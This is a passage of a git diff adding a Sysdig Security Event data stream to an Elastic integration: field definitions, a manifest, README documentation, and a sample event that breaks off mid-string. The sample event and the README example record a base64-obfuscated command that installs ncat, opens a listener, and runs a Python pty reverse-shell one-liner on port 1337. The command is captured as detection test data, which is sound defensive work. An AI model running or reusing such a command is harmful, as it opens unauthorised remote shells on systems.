group + fields: + - name: actions + type: group + fields: + - name: after_event_ns + type: long + description: Amount of nanoseconds after the event the Capture spans. + - name: before_event_ns + type: long + description: Amount of nanoseconds before the event the Capture spans. + - name: err_msg + type: keyword + description: When isSuccessful is false, details on why the action failed. + - name: is_successful + type: boolean + description: Whether or not the Capture was taken successfully. + - name: token + type: keyword + description: Token to retrieve the related capture. + - name: type + type: keyword + description: Action type. + - name: category + type: keyword + description: The event category. Possible values are runtime, remote, admissionController, cloudtrail, okta, github, falcocloud, miner. + - name: content + type: group + fields: + - name: cluster_name + type: keyword + description: Kubernetes cluster name. + - name: command + type: keyword + description: The command name. + - name: detected_class_probability + type: double + description: The detected class probability (confidence score). + - name: exe + type: keyword + description: The command path. + - name: fields + type: group + fields: + - name: aws + type: group + fields: + - name: account_id + type: keyword + - name: event_name + type: keyword + - name: region + type: keyword + - name: source_ip + type: ip + - name: user + type: keyword + - name: container + type: group + fields: + - name: id + type: keyword + - name: image.repository + type: keyword + - name: image.tag + type: keyword + - name: label.io.kubernetes.container.name + type: keyword + - name: label.io.kubernetes.pod.name + type: keyword + - name: label.io.kubernetes.pod.namespace + type: keyword + - name: mounts + type: keyword + - name: name + type: keyword + - name: privileged + type: boolean + - name: ct + type: group + fields: + - name: id + type: keyword + - name: name + type: keyword + - name: region + type: keyword + - name: request.functionname + type: keyword + - name: request.host + type: keyword + - name: shortsrc + type: keyword + - name: srcdomain + type: keyword + - name: srcip + type: ip + - name: user.accountid + type: keyword + - name: user.arn + type: keyword + - name: user.identitytype + type: keyword + - name: user.principalid + type: keyword + - name: user.value + type: keyword + - name: useragent + type: keyword + - name: evt + type: group + fields: + - name: arg.request + type: keyword + - name: dir + type: keyword + - name: res + type: keyword + - name: type + type: keyword + - name: fd + type: group + fields: + - name: directory + type: keyword + - name: name + type: keyword + - name: sip + type: ip + - name: sport + type: long + - name: type + type: keyword + - name: group + type: group + fields: + - name: gid + type: keyword + - name: name + type: keyword + - name: proc + type: group + fields: + - name: args + type: keyword + - name: cmdline + type: keyword + - name: cwd + type: keyword + - name: exepath + type: keyword + - name: hash.sha256 + type: keyword + - name: name + type: keyword + - name: pcmdline + type: keyword + - name: pexepath + type: keyword + - name: pid + type: long + - name: pid_ts + type: date + - name: pname + type: keyword + - name: ppid + type: long + - name: ppid_ts + type: date + - name: sid + type: keyword + - name: stderr.name + type: keyword + - name: stdin.name + type: keyword + - name: stdout.name + type: keyword + - name: user + type: group + fields: + - name: loginname + type: keyword + - name: loginuid + type: keyword + - name: name + type: keyword + - name: uid + type: keyword + - name: integration_id + type: keyword + description: The unique identifier of the integration that generated the event. + - name: integration_type + type: keyword + description: The type of integration that generated the event. Possible values are cloudtrail, okta, github, gcp, azure. + - name: namespace + type: keyword + description: Kubernetes namespace. + - name: origin + type: keyword + - name: output + type: keyword + description: Event output, generated after the configured rule. + - name: policy_id + type: keyword + description: ID of the policy that generated the event. + - name: policy_notification_channel_ids + type: keyword + description: The list of notification channels where an alert is sent after event is generated. Doesn't account for aggregations and eventual thresholds. + - name: policy_origin + type: keyword + description: The policy author. Possible values are Sysdig, Sysdig UI, Tuner. + - name: policy_version + type: keyword + - name: priority + type: keyword + description: Rule priority. Possible values are emergency, alert, critical, error, warning, informational, notice, debug. + - name: resource_kind + type: keyword + description: Kubernetes resource kind + - name: resource_name + type: keyword + description: Kubernetes resource name. + - name: rule_name + type: keyword + description: Name of the rule the event is generated after. + - name: rule_sub_type + type: long + - name: rule_tags + type: keyword + description: The tags attached to the rule. + - name: rule_type + type: long + description: Rule type. + - name: run_book + type: keyword + description: The runbook URL as configured in the policy. + - name: scan_result + type: object + object_type: keyword + object_type_mapping_type: '*' + - name: sequence + type: group + fields: + - name: event_id + type: keyword + description: The unique identifier of the log event. + - name: event_name + type: keyword + description: The name of the event. + - name: event_time + type: date + description: The time when the event occurred. + - name: ingestion_id + type: keyword + description: The unique identifier of the ingestion. + - name: region + type: keyword + description: The region where the event occurred. + - name: source + type: keyword + description: The source of the event. + - name: source_ip_address + type: ip + description: The IP address of the source. + - name: sub_ingestion_id + type: keyword + description: The unique identifier of the sub ingestion. + - name: stats + type: group + fields: + - name: api + type: keyword + - name: count + type: long + - name: type + type: keyword + description: The type of the event content. + - name: zones + type: group + fields: + - name: id + type: keyword + description: Zone ID. + - name: name + type: keyword + description: Zone name. + - name: description + type: keyword + description: Description of the policy the event is generated after. + - name: engine + type: keyword + description: The engine used to generate the event out of the raw signal. Possible values are drift, falco, list, machineLearning, malware. + - name: id + type: keyword + description: The event id. + - name: labels + type: group + fields: + - name: aws.account_id + type: keyword + - name: aws.region + type: keyword + - name: aws.user + type: keyword + - name: azure.instance_id + type: keyword + - name: azure.instance_name + type: keyword + - name: azure.instance_size + type: keyword + - name: azure.location + type: keyword + - name: azure.subscription_id + type: keyword + - name: cloud_provider.account.id + type: keyword + - name: cloud_provider.name + type: keyword + - name: cloud_provider.region + type: keyword + - name: cloud_provider.user + type: keyword + - name: container.image.digest + type: keyword + - name: container.image.id + type: keyword + - name: container.image.repo + type: keyword + - name: container.image.tag + type: keyword + - name: container.label.io.kubernetes.container.name + type: keyword + - name: container.label.io.kubernetes.pod.name + type: keyword + - name: container.label.io.kubernetes.pod.namespace + type: keyword + - name: container.name + type: keyword + - name: gcp.availability_zone + type: keyword + - name: gcp.instance_id + type: keyword + - name: gcp.instance_name + type: keyword + - name: gcp.location + type: keyword + - name: gcp.machine_type + type: keyword + - name: gcp.project_id + type: keyword + - name: gcp.project_name + type: keyword + - name: host.host_name + type: keyword + - name: host.mac + type: keyword + - name: kubernetes.cluster.name + type: keyword + - name: kubernetes.cron_job.name + type: keyword + - name: kubernetes.daemon_set.name + type: keyword + - name: kubernetes.job.name + type: keyword + - name: kubernetes.namespace.name + type: keyword + - name: kubernetes.node.name + type: keyword + - name: kubernetes.pod.name + type: keyword + - name: kubernetes.service.name + type: keyword + - name: kubernetes.workload.name + type: keyword + - name: kubernetes.workload.type + type: keyword + - name: source.ip + type: ip + - name: name + type: keyword + description: Name of the policy the event is generated after. + - name: originator + type: keyword + description: Type of event. Possible values are policy, profilingDetection, falcocloud, admissionController. + - name: raw_event_category + type: keyword + description: The semantic category (area) of the event in the Sysdig product. Possible values are kspm, runtime. + - name: raw_event_originator + type: keyword + description: The agent type, hosting the engine, that generated the event after the raw event. Possilble values are admissionController, agentless, cloudConnector, linuxAgent, serverlessAgent, windowsAgent. + - name: severity + type: long + description: The policy severity. + - name: severity_value + type: keyword + description: The policy severity. + - name: source + type: keyword + description: Source of the event. Possible values are syscall, windows, profiling, K8SAdmissionController, k8s_audit, aws_cloudtrail, awscloudtrail, agentless-aws-ml, gcp_auditlog, azure_platformlogs, okta, agentless-okta-ml, github. + - name: source_details + type: group + fields: + - name: sub_type + type: keyword + description: A deeper particularization for the type of component that generated the raw event. Possible values are auditlogs, auditWebhooks, caas, dynamicAdmissionControl, host, container, workforce. + - name: type + type: keyword + description: The type of component that generated the raw event. Possible values are cloud, git, iam, kubernetes, workload. + - name: timestamp + type: date + description: The event timestamp in nanoseconds. diff --git a/packages/sysdig/data_stream/event/manifest.yml b/packages/sysdig/data_stream/event/manifest.yml new file mode 100644 index 00000000000..21a3d14b52e --- /dev/null +++ b/packages/sysdig/data_stream/event/manifest.yml @@ -0,0 +1,93 @@ +title: Security Event +type: logs +streams: + - input: cel + title: Security Event + description: Collecting security events via API. + template_path: cel.yml.hbs + enabled: false + vars: + - name: initial_interval + type: text + title: Initial Interval + multi: false + required: true + show_user: true + default: 24h + description: How far back to pull the security events from Sysdig API. Supported units for this parameter are h/m/s. + - name: interval + type: text + title: Interval + description: Duration between requests to the Sysdig API. Supported units for this parameter are h/m/s. + default: 5m + multi: false + required: true + show_user: true + - name: batch_size + type: integer + title: Batch Size + multi: false + required: true + show_user: false + description: Batch size for the response of the Sysdig API. The maximum supported page size value is 200. + default: 200 + - name: max_executions + type: integer + title: Max Executions + description: Max Executions is the maximum number of times a CEL program can request to be re-run with a want_more field. + multi: false + required: false + show_user: false + default: 1000 + - name: http_client_timeout + type: text + title: HTTP Client Timeout + description: Duration before declaring that the HTTP client connection has timed out. Supported time units are ns, us, ms, s, m, h. + multi: false + required: true + show_user: false + default: 30s + - name: enable_request_tracer + type: bool + title: Enable request tracing + multi: false + required: false + show_user: false + description: >- + The request tracer logs requests and responses to the agent's local file-system for debugging configurations. + Enabling this request tracing compromises security and should only be used for debugging. Disabling the request + tracer will delete any stored traces. + See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_enable) + for details. + - name: tags + type: text + title: Tags + multi: true + required: true + show_user: false + default: + - forwarded + - sysdig-event + - name: preserve_original_event + required: false + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original`. + type: bool + multi: false + default: false + - name: preserve_duplicate_custom_fields + required: false + show_user: false + title: Preserve duplicate custom fields + description: Preserve sysdig.event fields that were copied to Elastic Common Schema (ECS) fields. + type: bool + multi: false + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: >- + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. diff --git a/packages/sysdig/data_stream/event/sample_event.json b/packages/sysdig/data_stream/event/sample_event.json new file mode 100644 index 00000000000..f60a7f6a2d7 --- /dev/null +++ b/packages/sysdig/data_stream/event/sample_event.json @@ -0,0 +1,211 @@ +{ + "@timestamp": "2025-04-05T03:00:01.1159286Z", + "agent": { + "ephemeral_id": "7e0f4795-76f9-42be-a7d4-6e76eafb55e4", + "id": "9fd8bef6-b2ff-4274-bb25-deda1a6cda6e", + "name": "elastic-agent-97447", + "type": "filebeat", + "version": "8.14.1" + }, + "cloud": { + "account": { + "id": "012345678912" + }, + "project": { + "id": "012345678912" + }, + "provider": "gcp", + "region": "us-central1" + }, + "container": { + "image": { + "hash": { + "all": [ + "sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a" + ] + }, + "name": "docker.io/library/python" + }, + "name": "shell-scripting" + }, + "data_stream": { + "dataset": "sysdig.event", + "namespace": "66013", + "type": "logs" + }, + "ecs": { + "version": "8.11.0" + }, + "elastic_agent": { + "id": "9fd8bef6-b2ff-4274-bb25-deda1a6cda6e", + "snapshot": false, + "version": "8.14.1" + }, + "event": { + "agent_id_status": "verified", + "category": [ + "process" + ], + "dataset": "sysdig.event", + "id": "1a334cdef0060123456789abcdef64a9", + "ingested": "2025-04-21T13:11:32Z", + "kind": "event", + "original": "{\"category\":\"runtime\",\"content\":{\"fields\":{\"container.image.repository\":\"docker.io/library/python\",\"container.name\":\"shell-scripting\",\"evt.res\":\"SUCCESS\",\"evt.type\":\"execve\",\"group.gid\":\"0\",\"group.name\":\"root\",\"proc.args\":\"\",\"proc.cmdline\":\"sh\",\"proc.cwd\":\"/\",\"proc.exepath\":\"/usr/bin/dash\",\"proc.hash.sha256\":\"f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6\",\"proc.name\":\"sh\",\"proc.pcmdline\":\"bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh\",\"proc.pid\":\"1372469\",\"proc.pid.ts\":\"1743822001115100312\",\"proc.pname\":\"bash\",\"proc.ppid\":\"1372453\",\"proc.ppid.ts\":\"1743822000952432134\",\"proc.sid\":\"1\",\"user.loginname\":\"\\u003cNA\\u003e\",\"user.loginuid\":\"-1\",\"user.name\":\"root\",\"user.uid\":\"0\"},\"origin\":\"Secure UI\",\"output\":\"Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=runc ggparent=containerd-shim gggparent=systemd image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1372469 proc.cwd=/ proc.ppid=1372453 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname=\\u003cNA\\u003e group.gid=0 group.name=root proc.pid.ts=1743822001115100312 proc.ppid.ts=1743822000952432134 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)\",\"policyId\":10569534,\"ruleName\":\"My test rule custom\",\"ruleSubType\":0,\"ruleTags\":[\"My-tag-custom-1-hello-world\",\"MITTRE-WHATEVER\"],\"ruleType\":6,\"type\":\"workloadRuntimeDetection\"},\"description\":\"This is just a dumb policy to test custom policies\",\"engine\":\"falco\",\"id\":\"1a334cdef0060123456789abcdef64a9\",\"labels\":{\"cloudProvider.account.id\":\"012345678912\",\"cloudProvider.name\":\"gcp\",\"cloudProvider.region\":\"us-central1\",\"container.image.digest\":\"sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a\",\"container.image.id\":\"ef0f72a55bd2\",\"container.image.repo\":\"docker.io/library/python\",\"container.image.tag\":\"3.9.18-slim\",\"container.label.io.kubernetes.container.name\":\"shell-scripting\",\"container.label.io.kubernetes.pod.name\":\"shell-scripting-29063700-123ab\",\"container.label.io.kubernetes.pod.namespace\":\"default\",\"container.name\":\"shell-scripting\",\"gcp.location\":\"us-central1\",\"gcp.projectId\":\"012345678912\",\"host.hostName\":\"gke-cluster-gcp-demo-san-default-pool-11234abc-abcd\",\"host.mac\":\"01:00:5e:90:10:00\",\"kubernetes.cluster.name\":\"gke-alliances-demo-6\",\"kubernetes.cronJob.name\":\"shell-scripting\",\"kubernetes.job.name\":\"shell-scripting-29063700\",\"kubernetes.namespace.name\":\"default\",\"kubernetes.node.name\":\"gke-cluster-gcp-demo-san-default-pool-12345678-abcd\",\"kubernetes.pod.name\":\"shell-scripting-12345678-123ab\",\"kubernetes.workload.name\":\"shell-scripting\",\"kubernetes.workload.type\":\"cronjob\"},\"name\":\"Manuel test policy\",\"originator\":\"policy\",\"rawEventCategory\":\"runtime\",\"rawEventOriginator\":\"linuxAgent\",\"severity\":4,\"source\":\"syscall\",\"sourceDetails\":{\"subType\":\"container\",\"type\":\"workload\"},\"timestamp\":1743822001115928600}", + "outcome": "success", + "provider": "syscall", + "severity": 4, + "type": [ + "info" + ] + }, + "group": { + "id": "0", + "name": "root" + }, + "host": { + "hostname": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd", + "mac": [ + "01-00-5E-90-10-00" + ], + "name": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd" + }, + "input": { + "type": "cel" + }, + "message": "Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=runc ggparent=containerd-shim gggparent=systemd image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1372469 proc.cwd=/ proc.ppid=1372453 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1743822001115100312 proc.ppid.ts=1743822000952432134 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)", + "observer": { + "product": "Sysdig Secure", + "vendor": "Sysdig" + }, + "orchestrator": { + "cluster": { + "name": "gke-alliances-demo-6" + }, + "namespace": "default", + "resource": { + "name": "shell-scripting-12345678-123ab", + "parent": { + "type": "cronjob" + } + } + }, + "process": { + "command_line": "sh", + "executable": "/usr/bin/dash", + "hash": { + "sha256": "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6" + }, + "name": "sh", + "parent": { + "command_line": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "name": "bash", + "pid": 1372453, + "start": "2025-04-05T03:00:00.952432134Z" + }, + "pid": 1372469, + "start": "2025-04-05T03:00:01.115100312Z", + "working_directory": "/" + }, + "related": { + "hash": [ + "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6", + "aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a" + ], + "hosts": [ + "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd" + ], + "user": [ + "root", + "0" + ] + }, + "rule": { + "description": "This is just a dumb policy to test custom policies", + "name": "My test rule custom", + "ruleset": "Manuel test policy" + }, + "sysdig": { + "event": { + "category": "runtime", + "content": { + "fields": { + "evt": { + "res": "SUCCESS", + "type": "execve" + }, + "proc": { + "sid": "1" + } + }, + "origin": "Secure UI", + "policy_id": "10569534", + "rule_sub_type": 0, + "rule_tags": [ + "My-tag-custom-1-hello-world", + "MITTRE-WHATEVER" + ], + "rule_type": 6, + "type": "workloadRuntimeDetection" + }, + "engine": "falco", + "labels": { + "container": { + "image": { + "id": "ef0f72a55bd2", + "repo": "docker.io/library/python", + "tag": "3.9.18-slim" + }, + "label": { + "io": { + "kubernetes": { + "container": { + "name": "shell-scripting" + }, + "pod": { + "name": "shell-scripting-29063700-123ab", + "namespace": "default" + } + } + } + }, + "name": "shell-scripting" + }, + "gcp": { + "location": "us-central1", + "project_id": "012345678912" + }, + "kubernetes": { + "cron_job": { + "name": "shell-scripting" + }, + "job": { + "name": "shell-scripting-29063700" + }, + "node": { + "name": "gke-cluster-gcp-demo-san-default-pool-12345678-abcd" + }, + "workload": { + "name": "shell-scripting" + } + } + }, + "originator": "policy", + "raw_event_category": "runtime", + "raw_event_originator": "linuxAgent", + "severity_value": "Medium", + "source_details": { + "sub_type": "container", + "type": "workload" + } + } + }, + "tags": [ + "preserve_original_event", + "forwarded", + "sysdig-event" + ], + "user": { + "id": "0", + "name": "root" + } +} diff --git a/packages/sysdig/docs/README.md b/packages/sysdig/docs/README.md index 3974c26078c..b087940c149 100644 --- a/packages/sysdig/docs/README.md +++ b/packages/sysdig/docs/README.md @@ -1,15 +1,34 @@ # Sysdig Integration -This integration allows for the shipping of [Sysdig](https://sysdig.com/) alerts to Elastic for observability and organizational awareness. Alerts can then be analyzed by using either the dashboard included with the integration or via the creation of custom dashboards within Kibana. +This integration allows for the shipping of [Sysdig](https://sysdig.com/) logs to Elastic for security, observability and organizational awareness. Logs can then be analyzed by using either the dashboard included with the integration or via the creation of custom dashboards within Kibana. ## Data Streams -The Sysdig integration collects one type of data stream: alerts. +The Sysdig integration collects two type of logs: **Alerts** The Alerts data stream collected by the Sysdig integration is comprised of Sysdig Alerts. See more details about Sysdig Alerts in [Sysdig's Alerts Documentation](https://docs.sysdig.com/en/docs/sysdig-monitor/alerts/). A complete list of potential fields used by this integration can be found in the [Logs reference](#logs-reference) +**Event** The event data stream collected through the Sysdig integration consists of Sysdig Security Events. See more details about Security Events in [Sysdig's Events Feed Documentation](https://docs.sysdig.com/en/docs/sysdig-secure/threats/activity/events-feed/). + ## Requirements -You need Elasticsearch for storing and searching your data and Kibana for visualizing and managing it. -You can use our hosted Elasticsearch Service on Elastic Cloud, which is recommended, or self-manage the Elastic Stack on your own hardware. +Elastic Agent must be installed. For more details and installation instructions, please refer to the [Elastic Agent Installation Guide](https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html). + +### Installing and managing an Elastic Agent: + +There are several options for installing and managing Elastic Agent: + +### Install a Fleet-managed Elastic Agent (recommended): + +With this approach, you install Elastic Agent and use Fleet in Kibana to define, configure, and manage your agents in a central location. We recommend using Fleet management because it makes the management and upgrade of your agents considerably easier. + +### Install Elastic Agent in standalone mode (advanced users): + +With this approach, you install Elastic Agent and manually configure the agent locally on the system where it’s installed. You are responsible for managing and upgrading the agents. This approach is reserved for advanced users only. + +### Install Elastic Agent in a containerized environment: + +You can run Elastic Agent inside a container, either with Fleet Server or standalone. Docker images for all versions of Elastic Agent are available from the Elastic Docker registry, and we provide deployment manifests for running on Kubernetes. + +Please note, there are minimum requirements for running Elastic Agent. For more information, refer to the [Elastic Agent Minimum Requirements](https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html#elastic-agent-installation-minimum-requirements). Sysdig must be configured to output alerts to a supported output channel as defined in [Setup](#setup). The system will only receive common fields output by Sysdig's rules, meaning that if a rule does not include a desired field the rule must be edited in Sysdig to add the field. @@ -25,9 +44,26 @@ The HTTP input allows the Elastic Agent to receive Sysdig Alerts via HTTP webhoo **Required:** To configure Sysdig to output JSON, you must set up as webhook notification channel as outlined in the [Sysdig Documentation](https://docs.sysdig.com/en/docs/administration/administration-settings/outbound-integrations/notifications-management/set-up-notification-channels/configure-a-webhook-channel/). +### To collect data from the Sysdig Next Gen API: + +- Retrieve the API Token by following [Sysdig's API Token Guide](https://docs.sysdig.com/en/retrieve-the-sysdig-api-token). + +### Enabling the integration in Elastic: + +1. In Kibana navigate to Management > Integrations. +2. In "Search for integrations" top bar, search for `Sysdig`. +3. Select the "Sysdig" integration from the search results. +4. Select "Add Sysdig" to add the integration. +5. Add all the required integration configuration parameters, including the URL, API Token, Interval, and Initial Interval, to enable data collection. +6. Select "Save and continue" to save the integration. + +**Note**: + - The URL may vary depending on your region. Please refer to the [Documentation](https://docs.sysdig.com/en/developer-tools/sysdig-api/#access-the-sysdig-api-using-the-regional-endpoints) to find the correct URL for your region. + - If you see an error saying `exceeded maximum number of CEL executions` during data ingestion, it usually means a large volume of data is being processed for the selected time interval. To fix this, try increasing the Max Executions setting in the configuration. + ## Logs Reference -### alerts +### Alerts Sysdig alerts can contain a multitude of various fields pertaining to the type of activity on the host machine. @@ -97,7 +133,7 @@ Sysdig alerts can contain a multitude of various fields pertaining to the type o | sysdig.type | In the case of policies, value should come through as "policy" | text | -**Example event** +#### Example An example event for `alerts` looks as following: @@ -302,4 +338,410 @@ An example event for `alerts` looks as following: "T1136" ] } -``` \ No newline at end of file +``` + +### Event + +This is the `event` dataset. + +#### Example + +An example event for `event` looks as following: + +```json +{ + "@timestamp": "2025-04-05T03:00:01.1159286Z", + "agent": { + "ephemeral_id": "7e0f4795-76f9-42be-a7d4-6e76eafb55e4", + "id": "9fd8bef6-b2ff-4274-bb25-deda1a6cda6e", + "name": "elastic-agent-97447", + "type": "filebeat", + "version": "8.14.1" + }, + "cloud": { + "account": { + "id": "012345678912" + }, + "project": { + "id": "012345678912" + }, + "provider": "gcp", + "region": "us-central1" + }, + "container": { + "image": { + "hash": { + "all": [ + "sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a" + ] + }, + "name": "docker.io/library/python" + }, + "name": "shell-scripting" + }, + "data_stream": { + "dataset": "sysdig.event", + "namespace": "66013", + "type": "logs" + }, + "ecs": { + "version": "8.11.0" + }, + "elastic_agent": { + "id": "9fd8bef6-b2ff-4274-bb25-deda1a6cda6e", + "snapshot": false, + "version": "8.14.1" + }, + "event": { + "agent_id_status": "verified", + "category": [ + "process" + ], + "dataset": "sysdig.event", + "id": "1a334cdef0060123456789abcdef64a9", + "ingested": "2025-04-21T13:11:32Z", + "kind": "event", + "original": "{\"category\":\"runtime\",\"content\":{\"fields\":{\"container.image.repository\":\"docker.io/library/python\",\"container.name\":\"shell-scripting\",\"evt.res\":\"SUCCESS\",\"evt.type\":\"execve\",\"group.gid\":\"0\",\"group.name\":\"root\",\"proc.args\":\"\",\"proc.cmdline\":\"sh\",\"proc.cwd\":\"/\",\"proc.exepath\":\"/usr/bin/dash\",\"proc.hash.sha256\":\"f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6\",\"proc.name\":\"sh\",\"proc.pcmdline\":\"bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh\",\"proc.pid\":\"1372469\",\"proc.pid.ts\":\"1743822001115100312\",\"proc.pname\":\"bash\",\"proc.ppid\":\"1372453\",\"proc.ppid.ts\":\"1743822000952432134\",\"proc.sid\":\"1\",\"user.loginname\":\"\\u003cNA\\u003e\",\"user.loginuid\":\"-1\",\"user.name\":\"root\",\"user.uid\":\"0\"},\"origin\":\"Secure UI\",\"output\":\"Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=runc ggparent=containerd-shim gggparent=systemd image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1372469 proc.cwd=/ proc.ppid=1372453 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname=\\u003cNA\\u003e group.gid=0 group.name=root proc.pid.ts=1743822001115100312 proc.ppid.ts=1743822000952432134 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)\",\"policyId\":10569534,\"ruleName\":\"My test rule custom\",\"ruleSubType\":0,\"ruleTags\":[\"My-tag-custom-1-hello-world\",\"MITTRE-WHATEVER\"],\"ruleType\":6,\"type\":\"workloadRuntimeDetection\"},\"description\":\"This is just a dumb policy to test custom policies\",\"engine\":\"falco\",\"id\":\"1a334cdef0060123456789abcdef64a9\",\"labels\":{\"cloudProvider.account.id\":\"012345678912\",\"cloudProvider.name\":\"gcp\",\"cloudProvider.region\":\"us-central1\",\"container.image.digest\":\"sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a\",\"container.image.id\":\"ef0f72a55bd2\",\"container.image.repo\":\"docker.io/library/python\",\"container.image.tag\":\"3.9.18-slim\",\"container.label.io.kubernetes.container.name\":\"shell-scripting\",\"container.label.io.kubernetes.pod.name\":\"shell-scripting-29063700-123ab\",\"container.label.io.kubernetes.pod.namespace\":\"default\",\"container.name\":\"shell-scripting\",\"gcp.location\":\"us-central1\",\"gcp.projectId\":\"012345678912\",\"host.hostName\":\"gke-cluster-gcp-demo-san-default-pool-11234abc-abcd\",\"host.mac\":\"01:00:5e:90:10:00\",\"kubernetes.cluster.name\":\"gke-alliances-demo-6\",\"kubernetes.cronJob.name\":\"shell-scripting\",\"kubernetes.job.name\":\"shell-scripting-29063700\",\"kubernetes.namespace.name\":\"default\",\"kubernetes.node.name\":\"gke-cluster-gcp-demo-san-default-pool-12345678-abcd\",\"kubernetes.pod.name\":\"shell-